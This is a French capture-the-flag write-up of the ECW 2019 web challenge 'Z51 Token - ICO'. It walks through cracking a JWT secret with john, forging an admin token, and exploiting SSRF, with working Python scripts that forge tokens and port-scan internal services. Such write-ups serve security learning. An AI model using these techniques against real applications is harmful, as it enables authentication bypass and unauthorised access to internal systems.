Zeecka zeecka

Z51 Token - ICO

ECW 2019 CTF Qualification - Web (150 pts)

ECW 2019 CTF Qualification - Z51 Token - ICO

Détails du challenge

EventChallengeCategoryPointsSolves
ECW 2019 CTF QualificationZ51 Token - ICOWeb15032
![z51ico.jpg](/files/ecw_qual_2019/z51token/z51ico.jpg)


Le DEEP (Dispositif d’Enregistrement Électronique partagé) est l’avenir de la monnaie mondiale, ce n’est absolument pas une arnaque, regardez par vous même :

Accéder au challenge

TL;DR

Le site utilise un JWT Token comme cookie de session. Une fois cracké avec l’option john —rules, nous obtenons une SSRF avec un endpoint interne sur un port différent. Nous avons dû faire un portscan à travers la SSRF pour récupérer le flag.

Méthodologie

Lorsque nous arrivons sur le site, nous obtenons la page suivante :

![home.png](/files/ecw_qual_2019/z51token/home.png)


Aucun champ de saisie sur le site, lançons un dirsearch.

Dirsearch

dirsearch -u https://web_z51ico.challenge-ecw.fr -c "session=[REDACTED]" -e .
![dirsearch.png](/files/ecw_qual_2019/z51token/dirsearch.png)


Le scan a été plutôt long. Nous obtenons les endpoints suivants :

  • /admin
  • /home
  • /internal

L’endpoint Admin nous demande d’être admin et l’endpoint Internal nous demande de « venir de l’interne ».

Token JWT

Si nous regardons nos cookies, nous en avons 2 : celui de la plateforme du CTF et un autre :

sess_key=eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJpY29uIjoiaHR0cHM6Ly9pY29ucy1mb3ItZnJlZS5jb20vZnJlZS1pY29ucy9wbmcvNTEyLzEwNTQ5OTAucG5nIiwiaXNfYWRtaW4iOiJGYWxzZSIsInVzZXIiOiJndWVzdCIsInBhc3MiOiJndWVzdCJ9.EFZRo-JxSuramqIOTioeW6_AZabDQ3IbW0IqnY2ULuQ9xER7JaTkX0U-61Z0IZ5QYkK1zbtGdwlsPLJqUuscaA

Il s’agit d’un JWT token. Utilisons JWT.io pour analyser ce token :

![jwtio.png](/files/ecw_qual_2019/z51token/jwtio.png)


Ce token utilise l’algorithme HS512, possède 4 champs dont un intéressant : is_admin. Comme la signature est vérifiée, il n’y a aucun moyen de forger un autre token à moins de disposer du secret. Nous allons devoir bruteforce ce secret

Bruteforce

C’était la partie la plus difficile : le mot de passe n’était ni dans Seclist, Rockyou, DarkCode, … J’ai échoué sur cette partie et j’ai décidé de creuser d’autres endpoints (comme un bypass pour /internal), sans aucun résultat. En insistant davantage, on peut utiliser john avec des règles de combinaison pour générer de nouveaux mots de passe à partir d’une wordlist donnée. J’ai décidé d’utiliser la wordlist rockyou.txt et l’option --rules.

Pour cela, vous devez convertir votre token dans un format compatible avec john. J’ai utilisé jwt2john.py pour cela.

python3 jwt2john.py eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJpY29uIjoiaHR0cHM6Ly9pY29ucy1mb3ItZnJlZS5jb20vZnJlZS1pY29ucy9wbmcvNTEyLzEwNTQ5OTAucG5nIiwiaXNfYWRtaW4iOiJGYWxzZSIsInVzZXIiOiJndWVzdCIsInBhc3MiOiJndWVzdCJ9.EFZRo-JxSuramqIOTioeW6_AZabDQ3IbW0IqnY2ULuQ9xER7JaTkX0U-61Z0IZ5QYkK1zbtGdwlsPLJqUuscaA > jwt.john

Nous pouvons ensuite bruteforce le token avec john :

john --wordlist=rockyou.txt --rules=ALL jwt.john
Using default input encoding: UTF-8
Loaded 1 password hash (HMAC-SHA512 [password is key, SHA512 256/256 AVX2 4x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
spacealiens      (?)
1g 0:00:00:17 DONE (2019-10-18 11:51) 0.05767g/s 2678Kp/s 2678Kc/s 2678KC/s jenny..Tweety
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Nous obtenons le secret : spacealiens.

Nouveau token

Maintenant que nous avons notre secret, forgeons notre token avec JWT.io : collez votre token, changez le secret et passez is_admin à True.

![newtoken.png](/files/ecw_qual_2019/z51token/newtoken.png)


Remplacez votre ancien token par le nouveau (remplacez le cookie : F12 -> storage) et accédez à la page /admin :

![adminpage.png](/files/ecw_qual_2019/z51token/adminpage.png)

SSRF

Si nous regardons la page admin, nous avons une image (non accessible ici). Si nous changeons l’image dans notre token (champ icon), l’image s’affiche :

![aprklogo.png](/files/ecw_qual_2019/z51token/aprklogo.png)

![adminaprklogo.png](/files/ecw_qual_2019/z51token/adminaprklogo.png)


Nous pouvons remarquer que l’image est affichée en base64 dans le code source html et qu’aucune autre requête n’est effectuée par notre navigateur, ce qui signifie que c’est le serveur lui-même qui effectue la requête vers l’image :

<p>
    <strong>NOTE:</strong> Wallet Master key is stored on this server until the 6G deployment is over on Uranus.
</p>

<p class="s1-txt3 txt-center p-l-15 p-r-15 p-t-25">
    <img width="100" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAB9AAAAfQCAYAAACaOMR5AAAABHNCSAQkoiBJy8MiLO1C2sKqhtPW9Ba8cEBC5VKLguUq9wCBfJ8/JrQeQOWyM7+ZPa/XWvyhDLPfGf5h78/s[...]p46jCRJkiRJKiz2RofG3kiSlpR7DuiS1Mw+PL9oCPB9oFviOJnYtWsXCxYsYN68eezdu7dZrvn444/zX/mSqf1D1I++23XxYuXJgdd9yxd8qgPJrkc0k+2Vp7qHcMA==">
</p>
Exploit SSRF

Après avoir essayé de récupérer une url aléatoire (pas une image), j’ai découvert que le contenu de la page web est lui aussi encodé en base64, que l’image soit valide ou non. Nous pouvons essayer de récupérer des fichiers internes ; pour cela, j’ai décidé d’écrire un script pour afficher le contenu d’un fichier donné.

import base64
import hashlib
import hmac
import json
import requests

url = "https://web_z51ico.challenge-ecw.fr/admin"

cookie_session = "[REDACTED]"

def base64_url_encode(inp):
    inp = unicode(base64.b64encode(inp))
    return inp.translate(dict(zip(map(ord, u'-_'), u'+/'))).strip("=")

def gen_token(data):
    p1 = "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9"
    data = base64_url_encode(json.dumps(data))
    sign = base64_url_encode(hmac.new("spacealiens", p1+"."+data, hashlib.sha512).digest())

    new_token = p1+"."+data+"."+sign
    return new_token

def extractRep(data):
    if "base64" not in data:
        return "[ERROR]"
    return base64.b64decode(data.split("base64,")[1].split('"')[0])

def md5(data):
    return hashlib.md5(data).hexdigest()

def getRep(payload):
    data = {
      "icon": payload,
      "is_admin": "True",
      "user": "guest",
      "pass": "guest"
    }
    token = gen_token(data)
    c = {
        "session":cookie_session,
        "sess_key":token
    }

    r = requests.get(url,cookies=c, allow_redirects=False)
    return extractRep(r.text)


if __name__ == "__main__":
    print(getRep("https://aperikube.fr"))

Si nous exécutons le script, nous obtenons le code source html de https://aperikube.fr.

Nous pouvons essayer d’atteindre des fichiers via le protocole file:// mais cela n’a pas fonctionné. Comme nous n’avons pas obtenu le contenu de /internal, nous pouvons utiliser notre SSRF pour accéder à cette page « depuis l’interne ». Malheureusement, la page n’est pas accessible via https://localhost/internal. Peut-être y a-t-il un reverse proxy et le service tourne-t-il sur un autre port ? (https://localhost:XXXX/internal) Faisons un port scan directement sur /internal !

import base64
import hashlib
import hmac
import json
import requests

url = "https://web_z51ico.challenge-ecw.fr/admin"

cookie_session = "[RECACTED]"

def base64_url_encode(inp):
    inp = unicode(base64.b64encode(inp))
    return inp.translate(dict(zip(map(ord, u'-_'), u'+/'))).strip("=")

def gen_token(data):
    p1 = "eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9"
    data = base64_url_encode(json.dumps(data))
    sign = base64_url_encode(hmac.new("spacealiens", p1+"."+data, hashlib.sha512).digest())

    new_token = p1+"."+data+"."+sign
    return new_token

def extractRep(data):
    if "base64" not in data:
        return "[ERROR]"
    return base64.b64decode(data.split("base64,")[1].split('"')[0])

def md5(data):
    return hashlib.md5(data).hexdigest()

def getRep(payload):
    data = {
      "icon": payload,
      "is_admin": "True",
      "user": "guest",
      "pass": "guest"
    }
    token = gen_token(data)
    c = {
        "session":cookie_session,
        "sess_key":token
    }

    r = requests.get(url,cookies=c, allow_redirects=False)
    rep = md5(extractRep(r.text))
    if rep == "d3a0dc73e921bae590eedb825821fe75":
        rep = "[:(]"  # No answer
    else:
        rep = "[!!!!!!!!!!!!!!!]"
        print(rep+" << ["+payload+"]")
        print(extractRep(r.text))


if __name__ == "__main__":
    # TOP 1000 used TCP ports
    for i in [1,3,4,6,7,9,13,17,19,20,21,22,23,24,25,26,30,32,33,37,42,43,49,53,70,79,80,81,82,83,84,85,88,89,90,99,100,106,109,110,111,113,119,125,135,139,143,144,146,161,163,179,199,211,212,222,254,255,256,259,264,280,301,306,311,340,366,389,406,407,416,417,425,427,443,444,445,458,464,465,481,497,500,512,513,514,515,524,541,543,544,545,548,554,555,563,587,593,616,617,625,631,636,646,648,666,667,668,683,687,691,700,705,711,714,720,722,726,749,765,777,783,787,800,801,808,843,873,880,888,898,900,901,902,903,911,912,981,987,990,992,993,995,999,1000,1001,1002,1007,1009,1010,1011,1021,1022,1023,1024,1025,1026,1027,1028,1029,1030,1031,1032,1033,1034,1035,1036,1037,1038,1039,1040,1041,1042,1043,1044,1045,1046,1047,1048,1049,1050,1051,1052,1053,1054,1055,1056,1057,1058,1059,1060,1061,1062,1063,1064,1065,1066,1067,1068,1069,1070,1071,1072,1073,1074,1075,1076,1077,1078,1079,1080,1081,1082,1083,1084,1085,1086,1087,1088,1089,1090,1091,1092,1093,1094,1095,1096,1097,1098,1099,1100,1102,1104,1105,1106,1107,1108,1110,1111,1112,1113,1114,1117,1119,1121,1122,1123,1124,1126,1130,1131,1132,1137,1138,1141,1145,1147,1148,1149,1151,1152,1154,1163,1164,1165,1166,1169,1174,1175,1183,1185,1186,1187,1192,1198,1199,1201,1213,1216,1217,1218,1233,1234,1236,1244,1247,1248,1259,1271,1272,1277,1287,1296,1300,1301,1309,1310,1311,1322,1328,1334,1352,1417,1433,1434,1443,1455,1461,1494,1500,1501,1503,1521,1524,1533,1556,1580,1583,1594,1600,1641,1658,1666,1687,1688,1700,1717,1718,1719,1720,1721,1723,1755,1761,1782,1783,1801,1805,1812,1839,1840,1862,1863,1864,1875,1900,1914,1935,1947,1971,1972,1974,1984,1998,1999,2000,2001,2002,2003,2004,2005,2006,2007,2008,2009,2010,2013,2020,2021,2022,2030,2033,2034,2035,2038,2040,2041,2042,2043,2045,2046,2047,2048,2049,2065,2068,2099,2100,2103,2105,2106,2107,2111,2119,2121,2126,2135,2144,2160,2161,2170,2179,2190,2191,2196,2200,2222,2251,2260,2288,2301,2323,2366,2381,2382,2383,2393,2394,2399,2401,2492,2500,2522,2525,2557,2601,2602,2604,2605,2607,2608,2638,2701,2702,2710,2717,2718,2725,2800,2809,2811,2869,2875,2909,2910,2920,2967,2968,2998,3000,3001,3003,3005,3006,3007,3011,3013,3017,3030,3031,3052,3071,3077,3128,3168,3211,3221,3260,3261,3268,3269,3283,3300,3301,3306,3322,3323,3324,3325,3333,3351,3367,3369,3370,3371,3372,3389,3390,3404,3476,3493,3517,3527,3546,3551,3580,3659,3689,3690,3703,3737,3766,3784,3800,3801,3809,3814,3826,3827,3828,3851,3869,3871,3878,3880,3889,3905,3914,3918,3920,3945,3971,3986,3995,3998,4000,4001,4002,4003,4004,4005,4006,4045,4111,4125,4126,4129,4224,4242,4279,4321,4343,4443,4444,4445,4446,4449,4550,4567,4662,4848,4899,4900,4998,5000,5001,5002,5003,5004,5009,5030,5033,5050,5051,5054,5060,5061,5080,5087,5100,5101,5102,5120,5190,5200,5214,5221,5222,5225,5226,5269,5280,5298,5357,5405,5414,5431,5432,5440,5500,5510,5544,5550,5555,5560,5566,5631,5633,5666,5678,5679,5718,5730,5800,5801,5802,5810,5811,5815,5822,5825,5850,5859,5862,5877,5900,5901,5902,5903,5904,5906,5907,5910,5911,5915,5922,5925,5950,5952,5959,5960,5961,5962,5963,5987,5988,5989,5998,5999,6000,6001,6002,6003,6004,6005,6006,6007,6009,6025,6059,6100,6101,6106,6112,6123,6129,6156,6346,6389,6502,6510,6543,6547,6565,6566,6567,6580,6646,6666,6667,6668,6669,6689,6692,6699,6779,6788,6789,6792,6839,6881,6901,6969,7000,7001,7002,7004,7007,7019,7025,7070,7100,7103,7106,7200,7201,7402,7435,7443,7496,7512,7625,7627,7676,7741,7777,7778,7800,7911,7920,7921,7937,7938,7999,8000,8001,8002,8007,8008,8009,8010,8011,8021,8022,8031,8042,8045,8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8093,8099,8100,8180,8181,8192,8193,8194,8200,8222,8254,8290,8291,8292,8300,8333,8383,8400,8402,8443,8500,8600,8649,8651,8652,8654,8701,8800,8873,8888,8899,8994,9000,9001,9002,9003,9009,9010,9011,9040,9050,9071,9080,9081,9090,9091,9099,9100,9101,9102,9103,9110,9111,9200,9207,9220,9290,9415,9418,9485,9500,9502,9503,9535,9575,9593,9594,9595,9618,9666,9876,9877,9878,9898,9900,9917,9929,9943,9944,9968,9998,9999,10000,10001,10002,10003,10004,10009,10010,10012,10024,10025,10082,10180,10215,10243,10566,10616,10617,10621,10626,10628,10629,10778,11110,11111,11967,12000,12174,12265,12345,13456,13722,13782,13783,14000,14238,14441,14442,15000,15002,15003,15004,15660,15742,16000,16001,16012,16016,16018,16080,16113,16992,16993,17877,17988,18040,18101,18988,19101,19283,19315,19350,19780,19801,19842,20000,20005,20031,20221,20222,20828,21571,22939,23502,24444,24800,25734,25735,26214,27000,27352,27353,27355,27356,27715,28201,30000,30718,30951,31038,31337,32768,32769,32770,32771,32772,32773,32774,32775,32776,32777,32778,32779,32780,32781,32782,32783,32784,32785,33354,33899,34571,34572,34573,35500,38292,40193,40911,41511,42510,44176,44442,44443,44501,45100,48080,49152,49153,49154,49155,49156,49157,49158,49159,49160,49161,49163,49165,49167,49175,49176,49400,49999,50000,50001,50002,50003,50006,50300,50389,50500,50636,50800,51103,51493,52673,52822,52848,52869,54045,54328,55055,55056,55555,55600,56737,56738,57294,57797,58080,60020,60443,61532,61900,62078,63331,64623,64680,65000,65129,65389]:
        getRep("http://localhost:"+str(i)+"/internal")

Finalement, nous obtenons un port valide : 4242.

[!!!!!!!!!!!!!!!] << [http://localhost:4242/internal]
The wallet private key is ECW{624dcb1923446d4011e212ed59cb5da6382011fd1e8aa6a822902aa1f4213f73}

Flag

ECW{624dcb1923446d4011e212ed59cb5da6382011fd1e8aa6a822902aa1f4213f73}

Zeecka